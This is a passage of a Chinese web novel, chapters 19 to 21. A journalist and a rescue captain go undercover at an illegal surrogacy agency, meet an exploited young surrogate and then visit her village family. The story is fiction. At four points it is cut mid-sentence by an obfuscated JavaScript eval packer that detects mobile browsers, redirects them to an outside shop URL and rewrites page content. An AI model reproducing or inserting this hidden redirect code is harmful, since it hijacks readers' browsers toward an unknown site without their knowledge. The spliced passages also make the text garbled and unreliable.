那些代孕妈妈,大概率就住在这些看似普通的住宅里,在他们的“照顾”之下,安心养胎。 她这次学聪明了,提前联系了机构的销售经理,提出想要“进一步聊聊”。 那边开始还推三阻四,后来在内部系统查到了他们登记的信息,又热情起来:“是你们!杨大夫这两天还说呢!你们来,我亲自给你们介绍!” “这次演的要求就没有那么高,主要是拍。”黎叙闻在车上,条分缕析安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816611|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务:“我们只要表现出坚定的愿望,到时候就真签合同,反正违法的合同不作数,有了公章,至少能把背后公司的名字骗到手。” 齐寻开着车,听她坐在身边侃侃而谈,间或“嗯”一声,配合度拉满。 黎叙闻交代好一切,问他:“你有没有什么要补充的?” 齐寻打了一把方向,道:“你还记不记得我们第一次见面的那个仓库?” “记得。” “中间我想把他引开,出了仓库绕到后门,我看到那边堆着很多铁棍。尖头的。” 黎叙闻一怔:“是用来……” 齐寻点头:“今天要去的地方,很可能也有类似的情况,你要跟紧我。” 说话间,牧马人已经驶入机构大门,梁经理早早等在门口,将他们迎进屋里。 椅子都还没焐热,他便笑着问:“二位要是考虑得差不多,合同是不是先签一下?” 黎叙闻嘴角噙着一点笑:“可以。” 梁经理喜出望外地递过笔,她伸手正要去接,手指却被齐寻半路截胡,极其自然地握进掌心。 她眼睁睁看齐寻拿走了那支笔,在合同上龙飞凤舞地签下自己的名字。 黎叙闻半垂着头,假装去看他的签名,眼角给齐寻递了个疑惑的眼色。 非法的合同再不作数,那也是风险,他怎么就这样从她手上接过去了? 齐寻眼皮都没抬一下,对她的质问视若无睹。 黎叙闻眨了眨眼,蓦地想起第一次来这里,齐寻硬是从她手上抢走了纽扣摄像头。 为什么? 这种近乎献身的保护,已经不是一个救援队长的身份能解释的了。 她还没来得及思考这个问题,梁经理就问到了重点:“今天是想来进一步了解一下吗?要不要带你们去看看我们代妈的生活环境?” 黎叙闻蓦地抬起眼睛,对上的却是梁经理满眼真诚。 如此顺利,会不会有诈? 还是说……他已经看透了他们的伪装,而代妈宿舍才是他们真正的地盘,等他们到了那边,就可以露出本来面目,要他们好看? 齐寻略微凝着眉,显然也察觉了违和,牵着她的手轻轻动了动,指尖收回掌心,在她的手心轻叩了一下。 黎叙闻握紧他的手,一条腿悄悄探出椅子边缘,但依然端住了表情:“对,这确实是我们比较关心的……主要如果环境不好,对我们孩子也不好,你说对吧?” 梁经理乐呵呵地点头:“对对,我非常理解。”他话锋一转,亮出桌上倒扣着的收款码:“那麻烦二位先交一下定金。” 黎叙闻紧握的手指蓦地一松。 原来是要钱。 她露出一个得体微笑:“定金多少?” 她心里有数,千儿八百的,花就花了,再多也可以回去跟老马打报告要点经费。 “10%.” 黎叙闻动作一顿:“多少?” 他们签的是88万的包性别套餐,10%那就是…… 但他们合同都签了,按理说早就掂量好了自己的经济实力,现在说拿不出这个钱来,那不是前功尽弃? 不对,之前明明跟他联系过,小十万不是小数目,如果今天必须收到钱,他应该在电话里反复提醒,而不是人都到了,才闲聊一样亮出二维码。 短短几秒,各种念头在头脑中不断碰撞,她终于看清了他的意图。 “你为什么不早说?这年头谁账上放好几万现金的?”她拧起眉头,疾言厉色地质问:“我们本来就时间紧,你们真是……脑子不清楚!” 梁经理赔着笑,细长的眼睛微微眯起,讨好神色完美遮掩了眼底的试探。 寻常来刺探消息的,听了这话,第一反应都是解释,从自己身上找原因,什么太贵了要再想想啦,今天没带那么多钱改天再来啦,总之不会这样振振有词地怪他。 因为心虚。 但她没有,她像是真的生气了,觉得没有提前知会她,耽误她要孩子了。 梁经理盯了她两秒,故作疑惑道:“我没提前说吗?嗐,年纪大了,怪我怪我,那这样,定金的事咱们就再说,咱们先去看看代妈宿舍,好吧?” 19. 第 19 章 跟黎叙闻推理的差不多,梁经理一边带着他们开车绕到机构不远处的居民区,一边颇感自豪地自夸:“现在管得严,前段时间刚倒了一大批,也就我们还正常运转……所以不是你们这样的小夫妻,我们根本不接待的。” 黎叙闻心里还惦记着那个叫琳琳的女孩,又问:“你们这的代妈,都是自愿的吧?不会搞出什么纠纷来……” “当然当然,都是我们精挑细选过的,都生过自己的孩子了,好管控。” 黎叙闻偏头跟齐寻对视一眼,齐寻朝她微微点了点头。 他们都记得,当时夏蓉不是这么说的,如果琳琳生过孩子,老家的人不会不知道,更不至于掀起那么大的风浪。 她暂且搁下疑问,又抛出一个关键性问题:“那医院呢,你们合作的医院是三甲吗?能保证孩子健康吗?” 梁经理笑了,脸上精明的皱纹皱成一团:“妹妹,你这话说的,我们要是能进三甲医院,那代孕都得合法了。我们合作的私立医院,大夫技术绝对没问题,出了问题我们负责解决。” 黎叙闻:……………… 她没想到“代孕都得合法了”这句话,能从梁经理嘴里这么随意就说出来。 所谓违法在他看来,恰恰证明了他们的稀缺。 这时车拐过一个弯,梁经理冲着窗外努嘴:“喏,那家就是我们合作的医院,离宿舍就几百米。” 黎叙闻低头,透过车窗去看,一间不大的医院,装修很新,人群息壤,从外观看不出任何不同。 它伫立在道路尽头,像每一座救死扶伤的医院一样,顶上的红十字在阳光下发出圣洁的光。 车子并未停留,沿着道路滑进一个绿意盎然的高层小区,是黎叙闻在中介那里打听过的其中一个。 有了齐寻之前的提醒,她特意留意看了一眼大门口。 有几个身强力壮的中年男女,无所事事地蹲在小区门口,三五成群,看似在闲话家常,实际每个人的眼角余光都在往这辆车的车窗里瞟。 齐寻伸手揽住黎叙闻的肩膀,面无表情跟他们对视。 黎叙闻故作惊恐地望了他们一眼,顺势躲进他怀里,唇角擦过他耳际时,飞速耳语:“要是看着不对,你就先走。” 齐寻视线下挑扫了她一眼,掌心用力直接给她按进怀里:“老实呆着。” 两人窸窣的耳鬓厮磨透过后视镜,被梁经理尽数收紧眼底。他无声地笑了笑,把车拐进了停车位里。 “到了,”梁经理停稳车,把两人迎下来:“稍等,有人来接。” 片刻后,有个大妈从其中一栋居民楼里出来,他冲大妈道:“李姐,带这位女士上去看看。”又转头对齐寻道:“这位先生你就不要上去了吧,都是女人,你去了也不方便。” 在他们身后,门口那几位游手好闲的闲散人员,慢悠悠地走了进来。 齐寻当下便皱了眉,揽在黎叙闻肩上的手臂又收紧几分。 没有一点放手的意思。 黎叙闻见势不妙,立刻挽住他的胳膊:“老公你多跟梁经理聊聊。”她神色如常,目光扫过他短袖中贴着的麦克风:“等回家咱们再商量。” 他面色沉郁地盯着她,看上去完全不想妥协。 梁经理似笑非笑看着他俩:“怎么了?不上去了?” 黎叙闻扭头看齐寻,露出一个温柔的笑:“是呀,怎么了?还分离焦虑了。” 她夸张地张开手抱住他,在齐寻弯腰回抱时,迅速道:“上面都是孕妇,不会有什么危险,你自己小心。” 齐寻的怀抱与她一触即离,作势去摘她发丝上的灰尘,轻声道:“你也是。” 黎叙闻深深看了他一眼,转身对大妈道:“走吧。” 齐寻在她身后,视线一瞬不瞬地盯着她的背影,直到两个人进了单元楼,身形隐没在阴影中。 他身边的梁经理笑了一声,给他敬烟:“感情不错哈?” 齐寻收回眼神:“不抽烟,谢谢。” “你老婆,”梁经理冲单元门抬了抬下巴:“人挺厉害的,做什么的?” “做小生意的,卖点女人的东西。她从小就那个样子,没人敢惹。” “哟,青梅竹马。” “嗯。认识十年了,”真真假假在齐寻口中织成一个完美的真相:“她身体不好,不能生,我妈不同意,所以这个孩子,我们非要不可。” 梁经理点了根烟,站在花坛旁边吞云吐雾,肩膀真正松下来,彻底把杨大夫之前的嘱托抛到了九霄云外。 他早看出来了,这男的是个恋爱脑,眼神就没离开过老婆,这种妻管严他见得多了,人家小夫妻甜甜蜜蜜的,哪儿就像她说的那么可疑? 齐寻问:“这些代妈,都住一起?不让出门?” 梁经理收回心思,笑道:“怎么可能,我们又不是传销,她们来去自由的。” 仿佛看穿了齐寻的疑问,他接着道:“都来干这个了,家里能有多宝贝她们?搞不好在家还得干活伺候人,不如住在这,环境也好医院也近的。” “你们经验挺丰富,”齐寻默了默,忽然道:“流程蛮严的。” “我们赚的就是小心钱。”他靠近齐寻,一副神秘的模样:“就你们签的那个88万包性别还包出生证的套餐,全国你去找,没有第二家能做。” 齐寻波澜不惊:“那我们是找对地方了。” “那是,你们介绍人挺靠谱,到时候我们都会给红包的。”梁经理笑眯眯地望着他,状似无意地问:“哎对,你们介绍人是谁啊?” 与此同时,黎叙闻被李姐带着上了电梯,按亮了13层的按钮。 “我们代妈都住这里的,一间能住四五个人吧。”李姐在电梯里热情介绍:“每天都有专人打扫,也能自己做饭。” 黎叙闻这次学聪明了,提前带好了摄像头,没告诉齐寻。 她正面对着李姐,问:“四五个人?那还挺挤的。” 李姐笑得淳朴:“不挤的,住满了空间也很大,你放心,肯定挤不着你家孩子。” 黎叙闻眉头蹙了蹙。 住满了?这得有多少人啊? “这楼朝向好像不太好,”黎叙闻找了个借口:“还有其他的住处能选吗?” 她面对着电梯轿厢模糊的银色厢门,等了半晌,都没有等到李姐的回应。 脚下传来一阵电梯停定的超重感,可电梯门却并没有如期打开。 黎叙闻回头,困惑地望向李姐,发现她一根手指按住关门键,带着一种奇怪的微笑,也正定定地看着她。 李姐闲聊似地:“对了,忘了问,你们介绍人叫什么名字?” 黎叙闻后脑忽然一麻。 她瞬间明白了,为什么梁经理要以不方便为由,单独把齐寻留在楼下,只让她一个人上楼。 只要他们的答案对不上,这里的人立刻就可以确定,他们撒谎,来者不善。 下面有那么多人盯着他们,看起来随时准备动手,一旦露馅,他们还走得掉吗? 黎叙闻后颈汗毛倏然立起,发根一阵一阵的麻。 发际线处已经渗出了冷汗,随时都要顺着额角滑落下来。 稳住,不能慌。 否则对不起齐寻不说,她所有努力都要前功尽弃了。 她抬手将散发别至耳后,指尖顺势揩掉冷汗,无奈道:“她本来不让我说,但你们一定要问,那我也不好再瞒了。” 黎叙闻一瞬不瞬地望着李姐审视的眼睛:“她姓秦,秦琳。” 楼下,齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816612|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻抱起手臂,堪堪露出纽扣上的摄像头:“我老婆的朋友,叫秦琳,你认识吗?” 梁经理:“……啊,认识,是她啊。”他皱着眉看齐寻:“你们这个气质,看起来……跟她……” 齐寻扭头望向楼上,脊背的肌肉紧张地绷起:“以前顺手帮过她一点小忙,看她突然怀孕,我老婆羡慕,多问了一嘴,她就说了,说就当报恩。” 代妈都签过保密协议,连规训带吓唬,等闲不会出去跟外人说,不然拿不到钱还得被追责。 不过要是原来的恩人,又饱受不能生育之苦,秦琳告诉他们,倒也合情合理。 梁经理收到一条消息,低头看了,才又笑道:“随便问问,你别多心。” 听到这句话,齐寻的眼神才从楼上收回来:“嗯。” “哦,是她。”李姐低头发了条消息,笑逐颜开地按开电梯:“正好,她就住这一间,也没几天就要卸货了。” 黎叙闻兴奋地道了声“是吗”,电梯门打开,煌煌日光轰然照进轿厢,她刚刚放松了一瞬的后背又紧紧绷起来。 让她跟琳琳面对面,那她的谎话立刻就会被戳穿。 只要进了门,李姐把房门一关,宿舍就是个封闭空间,里面住着的全都是孕妇,没有人会帮她。 13楼,也没有任何破窗逃走的可能。 怎么办,难道要现在放弃,假托有事掉头就走吗? 那齐寻怎么办? 只要李姐一个电话,梁经理立刻就会采取行动。他们在楼下有那么多人,齐寻只有一个人,他要怎么脱身? 黎叙闻大脑转得一刻不停,脚底下李姐亦步亦趋,跟着李姐进了宿舍。 一间东西朝向精装修的四室两厅,里面堆满了各种私人物品,窗边晾晒的衣服几乎要完全遮住日光。 房间里的女人们听见动静,纷纷探出头来看。 黎叙闻迅速观察了一圈,发现她们并不像她想象的那样苦大仇深,而是姿态随意,表情轻松,跟正常的孕妇没什么区别。 李姐又指着另一个长着娃娃脸的姑娘,道:“她小,所以价格也高,刚来的时候害怕得直哭,现在也适应得好得很。” 娃娃脸姑娘羞涩一笑,对黎叙闻晃了晃手里的奶茶:“你好。” 黎叙闻心里蓦地沉了沉。 她们竟然真的以为,这是一条名正言顺的赚钱之路。 估计也不会有人告诉她们,怀一个与自己无关的孩子,并发症概率是普通孕妇的很多倍,为了免疫排异反应,代妈还需要服用抗排异激素,这对她们的健康是不可挽回的伤害。 被剥削者并不认为自己在被剥削,自然也就没有挣脱的理由,只能变本加厉沉沦下去,以为向下的自由,也是她们自己选择的自由。 “20-35岁的都有,条件不一样,营养费也都不一样。”李姐道:“喏,这个是双胞胎。” 被点到名的女人显然年纪大些,她身体很瘦,肚子大得不成比例,站起来的动作都异常辛苦,但还是豪爽地拍拍肚皮,冲她露出一个自豪的笑容:“钱也多呢。” 黎叙闻撇开眼睛,不忍再看。 李姐以为她终于对其他代妈失去了兴趣,便扯开嗓子叫:“琳琳?秦琳?出来!你有朋友来看你了!” 黎叙闻意欲阻止,但已经来不及了。 最角落的房间响起一阵窸窣起床的声音,随之而来的是一串又沉又重的脚步,听起来暮气沉沉,根本不像是二十岁女孩惯有的那种轻盈。 一个穿着碎花睡衣的女孩慢慢地走出来,头发散乱,瞪着一双木然的眼睛,靠在门框上向外看。 黎叙闻快步走上去,正要先发制人来一出认亲戏,琳琳却先她一步,怯怯地开口了: “你是谁?” 20. 第 20 章 黎叙闻扶住她的肩膀,后背完全挡住李姐的视线,努力咽下自己的恐慌,平稳道:“还在生我的气啊?” 琳琳慢慢眨了眨眼:“我……” 黎叙闻捏住她的手臂:“我真的没有把你的事告诉别人,我发誓。” 琳琳慢慢转动眼球,凝视她几乎掐进自己肉里的指尖:“哦、哦……” “我们进去聊。”黎叙闻将她反过身,推着她进了小卧室。 回身刚要关门,李姐却脚尖怼着她的脚跟紧随而来,一脚踏进了房间。 黎叙闻眉心波澜乍起,闭了闭眼,又迅速无声地平复。 琳琳不知所措地坐在床上:“那、你坐吧。” 黎叙闻坐到她身边,目光环视这间角落里的小卧室:屋里光线昏暗,大白天半掩着枣红色窗帘,床很窄,跟大学宿舍里的单人床差不多,上面堆着没叠的被子、枕头、一本破旧的地摊言情小说。 房间里空气浑浊,让空间显得更加逼仄。 黎叙闻眼神在小说老土的封面上停留了一瞬,忽然想,她还是爱幻想的年纪呢,还是个小女孩。 她放轻了声音问:“身体怎么样?” 琳琳抬起枯槁的眼,莫名其妙地望着她,迟疑地“嗯”了一声。 “她快生了,”李姐在背后笑道:“孩子挺健康,年龄小就是养得好。” 黎叙闻回身看了李姐一眼,忽然理解了琳琳那个莫名的眼神——在这里,不会有人问她,你身体怎么样。 她只是一个器具,那个寄生在她身体里、不属于她的孩子,才是她身上唯一有价值、唯一值得被过问的对象。 黎叙闻忽然不知道该怎么开口,才能不惊醒这个沉睡在噩梦里的女孩,只能伸手握住她的手。 琳琳低头看着她白皙纤长的手,覆在自己粗糙的手背上,看了好一会儿,突然说:“我挺好的,身体很好。” “那就好。”黎叙闻从随身包里拿出一小袋巧克力,跟着自己的名片,一起悄悄塞进她手里:“早知道今天能见到你,我就多买点吃的来看你了。” 琳琳看着名片愣了愣,又把手里的巧克力翻来覆去看了好几遍,最后小心地一起压在枕头下面。 “怎么不吃?”黎叙闻问她:“一会儿该化了。” 琳琳这才拿出来,撕开包装,拿了一小颗放进嘴里,嘴唇动了动,抬起头,对黎叙闻露出一个微笑。 黎叙闻怔然地看着这个羞怯的笑容,蓦地怒从心头起,扭头问李姐:“不是说代妈都有专人照顾,条件都很好吗?” 李姐尴尬地怔了怔:“专人照顾也得花钱呀,这钱都是客户出的营养费,客户给得多,自然照顾得多些,客户给的少,那就自己贴,她嘛……” 李姐用眼角扫了琳琳一眼,没往下说。 意思也很明显了:琳琳的客户既没有给营养费,她自己也没钱贴。 李姐憨厚地笑着:“你不是她朋友吗,她的情况你不知道?” 黎叙闻一哽,撇开眼:“我以为多少会给一些。” “没有的,要不是她家追得紧,这单我们根本不会接的。” 她家? 意思是她家硬把她塞到这里来的吗? 黎叙闻正要换个角度套话,李姐便冲她摆摆手:“差不多了哈,你老公在楼下应该等急了吧。” 被下了这样不客气的逐客令,再逗留下去恐怕会被怀疑。黎叙闻拍拍琳琳的手,说了句“好好休息”,又转身小声对李姐道:“我给你一千五,五百块给你,剩下一千,你多给她买点好吃的,行吗?” 李姐喜笑颜开:“当然,当然,”说着熟练地亮出收款码:“她在这也住不了几天了,我保证让她舒舒服服的。” 黎叙闻付了钱,最后转身看了琳琳一眼,正要走,琳琳忽然从背后叫住她:“姐姐?” 她回头,发现刚刚木然得近乎机械的琳琳,此时眼底包满了泪意:“你去过我家了吗?” 齐寻在楼下,跟梁经理有一搭没一搭地聊,把这个咨询机构摸了个七七八八。 聊到最后,他问:“还有烟吗?” 他很多年没抽过了,也就刚入行熬夜的时候,后半夜实在顶不住,抽过一阵子,后来觉得抽烟死得快,别到时候人没找到,先把自己抽死了。 但是现在,他觉得他需要一支烟。 原来她每一天,面对的都是这样的脏事,他想。 梁经理从裤袋摸出烟盒,一抬头,笑了:“哟,别抽了,看谁回来了。” 齐寻顺着他的目光望去,见李姐带着黎叙闻,一前一后从单元楼的大门里走出来,李姐满面红光的,像是遇上了什么好事,反观黎叙闻,面色凝重地跟在她后面,低垂着眉眼,唇角抿得紧紧的。 压在自他身上的沉重瞬间被撕开一道口子。 就好像救援时他体力马上告罄时,抬头看见了来支援自己的队友。 “闻闻。”他喊。 黎叙闻循声望来,看见他的那个瞬间,也是神色一松,眉眼间有些许恍然。 这时候小区门口开进一辆车,下来两个男人,探着身子跟门卫说了些什么。 梁经理抬头看了一眼,没在意,问黎叙闻:“怎么样,上面环境还挺好的吧?” 黎叙闻:“嗯,还……” 她的话被远处一阵嘈杂蓦地打断。 她本能回头去看,见刚刚在花坛旁闲聊的人已经全部起身,没一个空手的,抄着短柄铁锹,将两个男人团团围在中间。 齐寻也看见了,快步过来,揽住她的肩膀。 黎叙闻眼神一凛:“这在干什么?” “哦,没事儿,”梁经理司空见惯似地:“偶尔有人找错路,我们的人给他们指条道儿。” “别担心,”他笑道:“你们又不是来找事的,对吧?” 黎叙闻盯着他探究的表情半晌,也笑了:“说得是呢。” “行,谢谢你们。”齐寻搭在她肩上的手指收紧:“那我们就不打扰了。” 直到他们离开咨询中心,黎叙闻都没有再说话。 齐寻谨慎地拐到旁边的街区,确定看不到咨询中心了,才停好车,问:“怎么回事?” 黎叙闻一直在出神,听到他问,转头定定地看了他一会儿,忽然上手,一把扯掉他贴在袖子里的话筒,紧接着又伸手去摸他的腰。 齐寻侧腰猛地一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816613|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧,一阵麻痒,本能地往旁边躲,同时劈手捉住她为所欲为的手:“你要干什么?” 黎叙闻往他拇指侧一压手腕,挣开他的钳制,手指探向他后腰,顺着皮带一摸,一用力便卸了他藏在腰间的收音盒:“我在这下车了,你回去吧。” 齐寻皱眉:“怎么?” “我只是有一个很极端的猜想……”她凝眉,冲他晃了晃收音盒和咪头:“这个借我用用,下次还你。” 说着她便扭头要下车,手指去拉车门把手的瞬间,中控锁咔哒一声上了锁。 黎叙闻扭头怒视他:“没时间了!打开,快点!” “告诉我目的地,或者我在你手机上装定位,”齐寻冷着脸看她:“二选一。” “……我要去一趟琳琳家。” “为什么下车?” “因为危险。” 齐寻直接被气笑了:“黎叙闻你听听自己说的这是人话吗?” “我是记者,你不是。”黎叙闻探身去驾驶座,试图越过他开锁,却被齐寻一把控住后颈,压在离他不过方寸的地方。 两人鼻尖对着鼻尖,气息纠缠,呼吸可闻。 四目相对间,空气都凝成了一方实体,火花四溅、一触即发。 “我是记者家属,”齐寻盯住她的眼睛,甚至能看清她眼底倒映的自己:“你户口本配偶栏里写的是我的名字,今天你就算是死在那,也是我去给你收尸。” 黎叙闻咬着牙试图挣扎,却根本挣不动,她瞪着齐寻:“放手!” 齐寻沉沉盯她半晌,手上力道不减,另一只手直接去摸她牛仔裤裤腰。 黎叙闻惊得往后一撤:“干嘛?” 齐寻手上速度极快,从她口袋里顺走了手机,这才松了劲放开她:“行,你去,走着去。” 一回合都没有就被缴了械,黎叙闻慢慢坐回副驾,不可置信地望着他。 她抿了抿唇,压下自己狂跳的心脏:“……我提醒你,我们协议结婚的内容,只是用结婚证骗过机构负责人。咱们的共识里,并没有同舟共济这一项。” “所以共识里就有我看着你往火坑里跳这一项?我说过不止一次,我有独立行动的权力。” 齐寻深吸一次:“我不会干涉你,我只是要你平安。” 黎叙闻眼眶蓦地一紧。 这句话是老马说,是钟郁青说,是黎策说,黎叙闻都不会觉得奇怪,可从这个男人嘴里说出来,总让她觉得有什么事情正在慢慢脱离掌控,滑向越界的边缘。 可她刚才从远处看到他的瞬间,她确实觉得自己得救了。 总之鬼使神差地,她竟然松了口。 “其实没那么严重,”黎叙闻撇开眼睛:“她老家比较闭塞,我只是怕万一有点事,报警都来不及。” 齐寻冷哼一声:“嗯,你的意思是你自己去,到时候有点什么事,准备就地埋了,是吗?” 黎叙闻:…… “你是我请来帮忙的朋友,我得对你的安全负责。” 齐寻踩了油门,挂上前进档,转头剔她一眼:“我让你负责了?” “啧,你这个人……” “地址,朋友。” 21. 第 21 章 琳琳家的村子离县城有将近四小时车程。 他们开车一路行进,窗外景色渐渐从高楼融化成矮墙,脚下的路也从高速国道,到柏油马路,最后碎成了沙石满地的土路。 黎叙闻在路上买了营养品,谎称是琳琳的朋友,一路向村民打听着,一脚深一脚浅地向腹地走去。 村口晒太阳扯闲篇的小媳妇听说他们来找秦琳,脸上遮不住的羡慕:“人家到大城市赚钱去了。” 旁边人边嗑瓜子边不屑地翻了个白眼:“谁知道跟哪个野男人搞上了。” 两人沿着村民指的路,一路踩着土坷垃向琳琳家的方向走。 眼看要到她家那间瓦房,忽然从旁边窜出一个流着鼻涕的小男孩来,攥着一根木棍,对着黎叙闻一阵挥舞:“妖怪!拿命来!” 木棍上沾的都是黑乎乎的煤灰,直接在黎叙闻身上蹭出了一道黑色刮痕。 黎叙闻嫌恶地冷笑:“孽障,我来收你的。” 齐寻在她身边跟男孩招手,十分和善道:“过来。” 男孩他头仰到极致,盯着齐寻愣了一会儿,扔了木棍转身就跑。 齐寻一伸手便揪住后领将他拖了回来。 黎叙闻笑眯眯地指着琳琳家问:“那家有人吗?” 男孩像是被捏住后颈的猫,四肢乱踢却动弹不得,嘴还硬着:“你们要去我们家的房子干什么?” 黎叙闻愣了愣:“你们家?你住那?” “那是我大爷家!”男孩尖叫着:“我爸说了,他断子绝孙,等他死了房子就是我家的了!” 齐寻皱着眉,直接将他拎起来:“什么玩意儿?” 可黎叙闻听懂了。 夏蓉给她地址的时候,稍微给她讲了秦琳家的情况:她是长女,底下还有两个妹妹,妈妈身体不好,,而她爸因为没儿子,在村子里受尽屈辱,吵起架来嗓门都没别人家的大。 村里人说她家断子绝孙,是绝户,人人都在背后议论,说他们家那三间破瓦房,早晚是琳琳她二叔的。 这个男孩,应该就是他二叔的儿子,是琳琳的堂弟。 黎叙闻胃里不祥地翻腾起来。 她叹息一声:“走吧。” 齐寻懒得弯腰把男孩放在地上,直接在空中松手,男孩摔了个屁股墩,吭也没吭一声,拖着木棍一溜烟跑了。 琳琳家确实很破,灰色门板用一根棍子松松地插着,黎叙闻听了一阵子,里面分明有窸窸窣窣的动静,但一敲门,声音却消失了。 就好像里面的人屏住呼吸,在躲什么可怕的事情。 “有人吗?”她喊:“我是琳琳的朋友,来看看她。” 里面安静了一阵,响起了一个中年女人谨慎的声音:“哪个朋友啊?” “是网友。她说她要生孩子了,我给她带点东西来。”黎叙闻举起手上的礼物,对着门缝晃了晃:“您给开开门吧。” 门缝里伸出了一把带着锈迹的水果刀,将门上的棍子挑开。 门一下子开了。 大白天的,屋里一片漆黑,像是连窗子都封住了,一个面色苍白的消瘦女人站在门后,重心不正常地向一侧歪着:“她不在。” 黎叙闻望着她的脸:“琳琳妈妈?琳琳呢?” 琳琳妈忍了又忍,还是没忍住自己扭曲的表情,索性将脸转到一边:“她进城打工了,东西留下,你们走吧。” “打工去了?”黎叙闻故作惊讶:“她不是要生孩子了吗?那这些东西……” 琳琳妈一把从她手上抢过那些补品:“没有,没有要生孩子……” 这时他们身后的土路上忽然响起一阵汽车鸣笛,,琳琳妈被惊扰,猛地瑟缩一下,伸长了脖子看了又看,警惕得仿佛闻到天敌气味的动物。 齐寻问:“你在怕什么?” “没有,没有的,”琳琳妈半个身子隐入房间的黑暗里:“你们快走吧……” 黎叙闻按住门板,阻止她要关门的动作:“你心虚了,是吗?” 琳琳妈惊恐地瞪大眼睛,伸手就要来推她:“你们到底是谁!滚,现在就给我滚!” 在她碰到黎叙闻的前一秒,齐寻一把按住她的手:“我劝你小点声,一会儿引来了人,看到你跟一个男人拉拉扯扯,我不觉得他们会说出什么好听的话来。” 这话果然奏效,琳琳妈怯怯地望着他,慢慢放下了手。 但她仍没有丝毫退让的意思。 在夏日闷热的傍晚,一个单薄的女人独自跟两个陌生人缄默地对峙僵持,身后是她室如悬磬、一贫如洗的家。 她知道日子为什么会过成这样吗,黎叙闻想。 她知道,但她沉默地做了帮凶。 “我见过琳琳了,在代孕机构的宿舍里。”黎叙闻盯着她的眼睛,突然说:“她问我,有没有来过她家。” 其实当时琳琳问完这句话,她立刻就被李姐下了逐客令,但此时此刻,她笃定得像是知道了所有内情:“我觉得还是有必要跟她的妈妈聊聊。” 琳琳妈怔然地看了她几秒,忽而毫无征兆地流下泪来。 一双浑浊的眼睛流下的泪,像一汪干涸已久的泉眼中蓦然涌出的晦涩的泉。 她一句话也没说,也没有关门,跛着脚转身,慢慢地进屋了。 黎叙闻跟齐寻对了个眼神,两人立刻跟着进去,并随手关上了大门。 没有了门口透出的光,堂屋里恢复了昏暗。齐寻在墙上摸到开关,打开屋顶的白炽灯,刚刚恢复视野,却被快步走来的琳琳妈反手关掉了。 眼睛渐渐适应了黑暗,黎叙闻透过一片秘而不宣的昏昧,望向那个女人模糊的影子。 不熟悉的环境,随时可能被人打断的采访,她知道现在最该做的,就是抓紧时间问,然后立刻走人。 然而她坐在那张简易的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816614|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供桌旁,很久都没有开口提问。 对方心理防线已经松动,但依然留着不低的防备,这种时候主动逼问,难说对方会不会隐去一部分关键。 她在等一个自动浮现的、完整的真相。 另一个呼吸声在门口沉缓地响起,墙上分分秒秒奔走的挂钟,也在他的气息中渐渐拉长。 黎叙闻在这声音里闭上眼,强迫自己紧绷的心神放松下来。 再等等。 时间静默地划过良久,那个干涩的、战栗的声音,才终于缓缓响起来。 “作孽,真是作孽……” 陈年的痛苦一旦被人看见,就会不受控制地向外奔涌。 自从小女儿出生,琳琳妈的身体每况愈下,眼看着再没有生儿子的可能,可没有儿子,在村里是最抬不起头的事。 她听见好多回别人背后嚼的舌根,说她是“不会下蛋的鸡”。 他们家没儿子,但琳琳的二叔家有,而且有两个。 于是琳琳爸跟她二叔商量,能不能过继过来一个,他可以用两个小女儿换。 二叔原本咬死了不答应,两家一度因为这个断绝来往,可孩子渐渐长大,有些事情就发生了变化。 二叔家的大儿子,也就是琳琳的堂哥到了说媳妇的年纪,可家里出不起彩礼。 于是二叔来跟琳琳爸商量,要是他能把这份彩礼出了,他们就把小儿子过继给他。 彩礼多少钱? 不贵,加上三金,婚礼,修新房,一共二十万。 琳琳爸这辈子都没见过二十万。 但……那可是个活生生的儿子。 是能写进族谱里、他死了能给他摔盆的儿子! 机会千载难逢,他无论如何也要抓住! 偏偏这个时候,转机出现了。 某天他外出喝酒,回来之后神神秘秘地凑到琳琳妈跟前,说,他有办法弄钱来。 